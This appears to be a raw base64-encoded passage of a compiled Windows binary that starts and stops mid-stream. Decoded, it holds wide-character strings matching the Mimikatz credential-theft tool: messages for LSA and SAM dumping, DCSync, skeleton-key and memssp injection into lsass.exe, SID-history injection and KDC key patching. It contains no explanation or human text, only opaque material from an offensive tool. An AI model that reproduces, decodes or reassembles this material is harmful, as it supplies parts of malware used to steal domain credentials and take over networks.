BhACAAOwAgAFMAYQBtAE8AcABlAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAFMAYQBtAEMAbwBuAG4AZQBjAHQAIAAlADAAOAB4AAoAAABTAGEAbQBTAHMAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQBfAGcAZQB0AEgAYQBuAGQAbABlACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhAF8AZwBlAHQASABhAG4AZABsAGUAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AZwBlAHQAVQBuAGkAcQB1AGUARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAKAFIASQBEACAAIAA6ACAAJQAwADgAeAAgACgAJQB1ACkACgBVAHMAZQByACAAOgAgACUAdwBaAAoAAAAAAAAATABNACAAIAAgADoAIAAAAAoATgBUAEwATQAgADoAIAAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAXwB1AHMAZQByACAAOwAgAFMAYQBtAFEAdQBlAHIAeQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AVQBzAGUAcgAgACUAMAA4AHgACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQBfAHUAcwBlAHIAIAA7ACAAUwBhAG0ATwBwAGUAbgBVAHMAZQByACAAJQAwADgAeAAKAAAAAAAAAAoAIAAqACAAJQBzAAoAAAAgACAAIAAgAEwATQAgACAAIAA6ACAAAAAKACAAIAAgACAATgBUAEwATQAgADoAIAAAAAAAAAAAACAAIAAgACAAJQAuACoAcwAKAAAAAAAAACAAIAAgACAAJQ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BzACAAdABvACAAYgBlACAAYQAgAHYAYQBsAGkAZAAgAEcAVQBJAEQACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBiAGsAZQB5ACAAOwAgAEkAbgB2AGEAbABpAGQAZQAgAEcAVQBJAEQAIAAoADAAeAAlADAAOAB4ACkAIAA7ACAAJQBzAAoAAAAAAAAAAAAKAEMAdQByAHIAZQBuAHQAIABwAHIAZQBmAGUAcgBlAGQAIABrAGUAeQA6ACAAIAAgACAAIAAgACAAAAAAAAAARwAkAEIAQwBLAFUAUABLAEUAWQBfAFAAUgBFAEYARQBSAFIARQBEAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBiAGsAZQB5ACAAOwAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAEwAcwBhAFIAZQB0AHIAaQBlAHYAZQBQAHIAaQB2AGEAdABlAEQAYQB0AGEAOgAgADAAeAAlADAAOAB4AAoAAAAAAAoAQwBvAG0AcABhAHQAaQBiAGkAbABpAHQAeQAgAHAAcgBlAGYAZQByAGUAZAAgAGsAZQB5ADoAIAAAAAAAAABHACQAQgBDAEsAVQBQAEsARQBZAF8AUAAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcgBwAGQAYQB0AGEAIAA7ACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8ATABzAGEAUgBlAHQAcgBpAGUAdgBlAFAAcgBpAHYAYQB0AGUARABhAHQAYQA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAAAAAFsARABDAF0AIAAnACUAcwAnACAAdwBpAGwAbAAgAGIAZQAgAHQAaABlACAAZABvAG0AYQBpAG4ACgAAAGQAYwAAAAAAAAAAAGsAZABjAAAAWwBEAEMAXQAgACcAJQBzACcAIAB3AGkAbABsACAAYgBlACAAdABoAGUAIABEAEMAIABzAGUAcgB2AGUAcgAKAAoAAAAAAAAAWwBEAEMAXQAgAE8AYgBqAGUAYwB0ACAAdwBpAHQAaAAgAEcAVQBJAEQAIAAnACUAcwAnAAoACgAAAAAAAAAAAAAAAAAAAAAAWwBEAEMAXQAgACcAJQBzACcAIAB3AGkAbABsACAAYgBlACAAdABoAGUAIAB1AHMAZQByACAAYQBjAGMAbwB1AG4AdAAKAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwB5AG4AYwAgADsAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAFAAcgBvAGMAZQBzAHMARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAUgBlAHAAbAB5AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwB5AG4AYwAgADsAIABEAFIAUwBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwAsACAAaQBuAHYAYQBsAGkAZAAgAGQAdwBPAHUAdABWAGUAcgBzAGkAbwBuACAAYQBuAGQALwBvAHIAIABjAE4AdQBtAE8AYgBqAGUAYwB0AHMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAHkAbgBjACAAOwAgAEcAZQB0AE4AQwBDAGgAYQBuAGcAZQBzADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAIAA7ACAAUgBQAEMAIABFAHgAYwBlAHAAdABpAG8AbgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwB5AG4AYwAgADsAIABNAGkAcwBzAGkAbgBnACAAdQBzAGUAcgAgAG8AcgAgAGcAdQBpAGQAIABhAHIAZwB1AG0AZQBuAHQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAHkAbgBjACAAOwAgAEQAbwBtAGEAaQBuACAAQwBvAG4AdAByAG8AbABsAGUAcgAgAG4AbwB0ACAAcAByAGUAcwBlAG4AdAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAIAA7ACAARABvAG0AYQBpAG4AIABuAG8AdAAgAHAAcgBlAHMAZQBuAHQALAAgAG8AcgAgAGQAbwBlAHMAbgAnAHQAIABsAG8AbwBrACAAbABpAGsAZQAgAGEAIABGAFEARABOAAoAAAAAACUAcwAlAC4AKgBzACUAcwAAAAAAAAAAACAAIAAgACAAJQBzAC0AJQAyAHUAOgAgAAAAAAAAAAAAIAAgAEgAYQBzAGgAIAAlAHMAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAXwBkAGUAYwByAHkAcAB0ACAAOwAgAFIAdABsAEQAZQBjAHIAeQBwAHQARABFAFMAMgBiAGwAbwBjAGsAcwAxAEQAVwBPAFIARAAAAAAAAAAAAE8AYgBqAGUAYwB0ACAAUgBEAE4AIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAEQATwBNAEEASQBOAF8ATwBCAEoARQBDAFQAAAAAAAAARwBSAE8AVQBQAF8ATwBCAEoARQBDAFQAAAAAAAAAAABOAE8ATgBfAFMARQBDAFUAUgBJAFQAWQBfAEcAUgBPAFUAUABfAE8AQgBKAEUAQwBUAAAAAAAAAEEATABJAEEAUwBfAE8AQgBKAEUAQwBUAAAAAAAAAAAATgBPAE4AXwBTAEUAQwBVAFIASQBUAFkAXwBBAEwASQBBAFMAXwBPAEIASgBFAEMAVAAAAAAAAABVAFMARQBSAF8ATwBCAEoARQBDAFQAAABNAEEAQwBIAEkATgBFAF8AQQBDAEMATwBVAE4AVAAAAFQAUgBVAFMAVABfAEEAQwBDAE8AVQBOAFQAAAAAAAAAQQBQAFAAXwBCAEEAUwBJAEMAXwBHAFIATwBVAFAAAABBAFAAUABfAFEAVQBFAFIAWQBfAEcAUgBPAFUAUAAAACoAKgAgAFMAQQBNACAAQQBDAEMATwBVAE4AVAAgACoAKgAKAAoAAABTAEEATQAgAFUAcwBlAHIAbgBhAG0AZQAgACAAIAAgACAAIAAgACAAIAA6ACAAAABVAHMAZQByACAAUAByAGkAbgBjAGkAcABhAGwAIABOAGEAbQBlACAAIAA6ACAAAAAAAAAAAAAAAEEAYwBjAG8AdQBuAHQAIABUAHkAcABlACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAAKAAgACUAcwAgACkACgAAAFUAcwBlAHIAIABBAGMAYwBvAHUAbgB0ACAAQwBvAG4AdAByAG8AbAAgADoAIAAlADAAOAB4ACAAKAAgAAAAAABBAGMAYwBvAHUAbgB0ACAAZQB4AHAAaQByAGEAdABpAG8AbgAgACAAIAA6ACAAAABQAGEAcwBzAHcAbwByAGQAIABsAGEAcwB0ACAAYwBoAGEAbgBnAGUAIAA6ACAAAABPAGIAagBlAGMAdAAgAFMAZQBjAHUAcgBpAHQAeQAgAEkARAAgACAAIAA6ACAAAABPAGIAagBlAGMAdAAgAFIAZQBsAGEAdABpAHYAZQAgAEkARAAgACAAIAA6ACAAJQB1AAoAAAAAAAoAQwByAGUAZABlAG4AdABpAGEAbABzADoACgAAAAAAbgB0AGwAbQAAAAAAAAAAAGwAbQAgACAAAAAAAAAAAAAKAFMAdQBwAHAAbABlAG0AZQBuAHQAYQBsACAAQwByAGUAZABlAG4AdABpAGEAbABzADoACgAAACoAIAAlAHcAWgAgACoACgAAAAAAJTAyeAAAAAAAAAAAAAAAAAAAAAAqACoAIABUAFIAVQBTAFQARQBEACAARABPAE0AQQBJAE4AIAAtACAAQQBuAHQAaQBzAG8AYwBpAGEAbAAgACoAKgAKAAoAAABQAGEAcgB0AG4AZQByACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQB3AFoACgAAAG0AcwB2AGMAcgB0AC4AZABsAGwAAAAAAGEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG4AZwAAAAAAZABpAHMAYwBvAHYAZQByAGkAbgBnAAAAYQBzAHMAbwBjAGkAYQB0AGkAbgBnAAAAZABpAHMAYwBvAG4AbgBlAGMAdABlAGQAAAAAAAAAAABkAGkAcwBjAG8AbgBuAGUAYwB0AGkAbgBnAAAAAAAAAGEAZABfAGgAbwBjAF8AbgBlAHQAdwBvAHIAawBfAGYAbwByAG0AZQBkAAAAAAAAAGMAbwBuAG4AZQBjAHQAZQBkAAAAAAAAAG4AbwB0AF8AcgBlAGEAZAB5AAAAAAAAAHMAawBlAGwAZQB0AG8AbgAAAAAAAAAAAG0AZQBtAHMAcwBwAAAAAABhAGQAZABzAGkAZAAAAAAAdwBpAGYAaQAAAAAAAAAAAFsAZQB4AHAAZQByAGkAbQBlAG4AdABhAGwAXQAgAFQAcgB5ACAAdABvACAAZQBuAHUAbQBlAHIAYQB0AGUAIABhAGwAbAAgAG0AbwBkAHUAbABlAHMAIAB3AGkAdABoACAARABlAHQAbwB1AHIAcwAtAGwAaQBrAGUAIABoAG8AbwBrAHMAAABkAGUAdABvAHUAcgBzAAAAAAAAAAAAAABKAHUAbgBpAHAAZQByACAATgBlAHQAdwBvAHIAawAgAEMAbwBuAG4AZQBjAHQAIAAoAHcAaQB0AGgAbwB1AHQAIAByAG8AdQB0AGUAIABtAG8AbgBpAHQAbwByAGkAbgBnACkAAAAAAG4AYwByAG8AdQB0AGUAbQBvAG4AAAAAAFQAYQBzAGsAIABNAGEAbgBhAGcAZQByACAAIAAgACAAIAAgACAAIAAgACAAIAAgACgAdwBpAHQAaABvAHUAdAAgAEQAaQBzAGEAYgBsAGUAVABhAHMAawBNAGcAcgApAAAAAAAAAAAAdABhAHMAawBtAGcAcgAAAAAAAAAAAAAAUgBlAGcAaQBzAHQAcgB5ACAARQBkAGkAdABvAHIAIAAgACAAIAAgACAAIAAgACAAKAB3AGkAdABoAG8AdQB0ACAARABpAHMAYQBiAGwAZQBSAGUAZwBpAHMAdAByAHkAVABvAG8AbABzACkAAAAAAHIAZQBnAGUAZABpAHQAAABDAG8AbQBtAGEAbgBkACAAUAByAG8AbQBwAHQAIAAgACAAIAAgACAAIAAgACAAIAAoAHcAaQB0AGgAbwB1AHQAIABEAGkAcwBhAGIAbABlAEMATQBEACkAAAAAAAAAAABjAG0AZAAAAE0AaQBzAGMAZQBsAGwAYQBuAGUAbwB1AHMAIABtAG8AZAB1AGwAZQAAAAAAAAAAAG0AaQBzAGMAAAAAAAAAAAB3AGwAYQBuAGEAcABpAAAAV2xhbk9wZW5IYW5kbGUAAFdsYW5DbG9zZUhhbmRsZQBXbGFuRW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BPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBhAGQAZABzAGkAZAAgADsAIABEAHMAQgBpAG4AZAA6ACAAJQAwADgAeAAgACgAJQB1ACkAIQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBhAGQAZABzAGkAZAAgADsAIABPAFMAIABuAG8AdAAgAHMAdQBwAHAAbwByAHQAZQBkACAAKABvAG4AbAB5ACAAdwAyAGsAOAByADIAIAAmACAAdwAyAGsAMQAyAHIAMgApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBhAGQAZABzAGkAZAAgADsAIABJAHQAIAByAGUAcQB1AGkAcgBlAHMAIABhAHQAIABsAGUAYQBzAHQAIAAyACAAYQByAGcAcwAKAAAAZm9wZW4AAABmd3ByaW50ZgAAAABmY2xvc2UAAAAAAABsAHMAYQBzAHMALgBlAHgAZQAAAAAAAABtAHMAdgAxAF8AMAAuAGQAbABsAAAAAABJAG4AagBlAGMAdABlAGQAIAA9ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZQBtAHMAcwBwACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBjAG8AcAB5ACAALQAgAFQAcgBhAG0AcABvAGwAaQBuAGUAIABuADAAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZQBtAHMAcwBwACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBDAG8AZABlAFcAaQB0AHQAaABQAGEAdAB0AGUAcgBuAFIAZQBwAGwAYQBjAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZQBtAHMAcwBwACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBjAG8AcAB5ACAALQAgAFQAcgBhAG0AcABvAGwAaQBuAGUAIABuADEAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZQBtAHMAcwBwACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBjAG8AcAB5ACAALQAgAHIAZQBhAGwAIABhAHMAbQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZQBtAHMAcwBwACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBzAGUAYQByAGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AbQBlAG0AcwBzAHAAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZQBtAHMAcwBwACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFAAcgBvAGMAZQBzAHMASQBkAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAExvY2FsQWxsb2MAAAAAAABrAGQAYwBzAHYAYwAuAGQAbABsAAAAAABbAEsARABDAF0AIABkAGEAdABhAAoAAABbAEsARABDAF0AIABzAHQAcgB1AGMAdAAKAAAAAAAAAFsASwBEAEMAXQAgAGsAZQB5AHMAIABwAGEAdABjAGgAIABPAEsACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAawBlAGwAZQB0AG8AbgAgADsAIABTAGUAYwBvAG4AZAAgAHAAYQB0AHQAZQByAG4AIABuAG8AdAAgAGYAbwB1AG4AZAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAGsAZQBsAGUAdABvAG4AIAA7ACAARgBpAHIAcwB0ACAAcABhAHQAdABlAHIAbgAgAG4AbwB0ACAAZgBvAHUAbgBkAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AcwBrAGUAbABlAHQAbwBuACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAGMAcgB5AHAAdABkAGwAbAAuAGQAbABsAAAAAAAAAAAAWwBSAEMANABdACAAZgB1AG4AYwB0AGkAbwBuAHMACgAAAAAAAAAAAFsAUgBDADQAXQAgAGkAbgBpAHQAIABwAGEAdABjAGgAIABPAEsACgAAAAAAAAAAAFsAUgBDADQAXQAgAGQAZQBjAHIAeQBwAHQAIABwAGEAdABjAGgAIABPAEsACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAawBlAGwAZQB0AG8AbgAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGMAcgBlAGEAdABlACAAcgBlAG0AbwB0AGUAIABmAHUAbgBjAHQAaQBvAG4AcwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AcwBrAGUAbABlAHQAbwBuACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABnAHIAbwB1AHAAAAAAAAAAbABvAGMAYQBsAGcAcgBvAHUAcAAAAAAAbgBlAHQAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAE8AcABlAG4ARABvAG0AYQBpAG4AIABCAHUAaQBsAHQAaQBuACAAKAA/ACkAIAAlADAAOAB4AAoAAAAKAEQAbwBtAGEAaQBuACAAbgBhAG0AZQAgADoAIAAlAHcAWgAAAAAACgBEAG8AbQBhAGkAbgAgAFMASQBEACAAIAA6ACAAAAAKACAAJQAtADUAdQAgACUAdwBaAAAAAAAKACAAfAAgACUALQA1AHUAIAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEwAbwBvAGsAdQBwAEkAZABzAEkAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBHAGUAdABHAHIAbwB1AHAAcwBGAG8AcgBVAHMA